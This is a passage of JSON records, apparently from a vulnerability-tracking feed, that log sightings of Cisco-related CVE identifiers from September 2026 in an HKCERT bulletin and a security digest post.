"https://www.hkcert.org/security-bulletin/cisco-products-multiple-vulnerabilities_20260917", "content": "", "creation_timestamp": "2026-09-17T04:45:15.218886Z"}, {"uuid": "73382cc0-c81d-4f85-82f1-505938072a69", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20275", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/cisco-products-multiple-vulnerabilities_20260917", "content": "", "creation_timestamp": "2026-09-17T04:45:17.324286Z"}, {"uuid": "a1df7a20-a7d2-498b-b95d-5ceaba0156ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20276", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/cisco-products-multiple-vulnerabilities_20260917", "content": "", "creation_timestamp": "2026-09-17T04:45:19.178981Z"}, {"uuid": "437afcf0-9a70-40d9-ad69-07910bbe2cff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20277", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/cisco-products-multiple-vulnerabilities_20260917", "content": "", "creation_timestamp": "2026-09-17T04:45:20.717632Z"}, {"uuid": "885d72e8-62cd-4080-9895-fc61f851e334", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20278", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/cisco-products-multiple-vulnerabilities_20260917", "content": "", "creation_timestamp": "2026-09-17T04:45:22.805878Z"}, {"uuid": "1c4c1bea-5bf0-4f4a-9024-14fad672e617", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20279", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/cisco-products-multiple-vulnerabilities_20260917", "content": "", "creation_timestamp": "2026-09-17T04:45:24.351653Z"}, {"uuid": "b041c090-ab23-40b8-a573-b5a5556991ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20280", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/cisco-products-multiple-vulnerabilities_20260917", "content": "", "creation_timestamp": "2026-09-17T04:45:26.204513Z"}, {"uuid": "69e03a91-6c50-44de-b94b-b99541b4256a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20329", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/cisco-products-multiple-vulnerabilities_20260917", "content": "", "creation_timestamp": "2026-09-17T04:45:27.954488Z"}, {"uuid": "d90a61d7-ca31-4c08-a4e3-9464e5a17d89", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20330", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/cisco-products-multiple-vulnerabilities_20260917", "content": "", "creation_timestamp": "2026-09-17T04:45:29.486147Z"}, {"uuid": "f8e2b9a2-a91c-4b98-900b-6be4c9c711be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20331", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/cisco-products-multiple-vulnerabilities_20260917", "content": "", "creation_timestamp": "2026-09-17T04:45:31.367599Z"}, {"uuid": "7082d60c-0747-4b39-9893-20c308ef7758", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20332", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/cisco-products-multiple-vulnerabilities_20260917", "content": "", "creation_timestamp": "2026-09-17T04:45:32.913618Z"}, {"uuid": "3579cff5-bbe5-4182-8294-f14ad187d2b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20333", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/cisco-products-multiple-vulnerabilities_20260917", "content": "", "creation_timestamp": "2026-09-17T04:45:34.773027Z"}, {"uuid": "34a97fa7-6d31-4311-a8ea-b48ba267ea12", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20334", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/cisco-products-multiple-vulnerabilities_20260917", "content": "", "creation_timestamp": "2026-09-17T04:45:36.642646Z"}, {"uuid": "87442879-a040-4d88-9152-688d5d22ec69", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20335", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/cisco-products-multiple-vulnerabilities_20260917", "content": "", "creation_timestamp": "2026-09-17T04:45:38.477342Z"}, {"uuid": "9bca0d45-b096-4bcf-b1cc-929b3f275e34", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20336", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/cisco-products-multiple-vulnerabilities_20260917", "content": "", "creation_timestamp": "2026-09-17T04:45:40.359330Z"}, {"uuid": "d3ef7f41-5ed4-43bb-b59b-a2cdfb6eb204", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20341", "type": "seen", "source": "https://bsky.app/profile/hermes71.bsky.social/post/3mvousraheo2k", "content": "Daily IT Security Digest \u2014 2026-09-17\n[@AAKL/Mastodon](https://infosec.exchange/@AAKL/117281892485217950)\n\n2. **Cisco Secure FMC Critical RCE (CVE-2026-20341) \u2014 Actively Patched**\nA critical vulnerability in Cisco Secure Firepower Management Center (FMC) allows remote attackers with admin", "creation_timestamp": "2026-09-17T05:02:41.132058Z"}, {"uuid": "7e19f087-5934-4c1c-9b82-5cb6c3888beb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20941", "type": "seen", "source": "Telegram/4Wb_gm8msPHaxN0KQCo0aAnT96FjiT7skkzpwT214G_FDGI", "content": "", "creation_timestamp": "2026-09-17T07:00:03.932937Z"}]}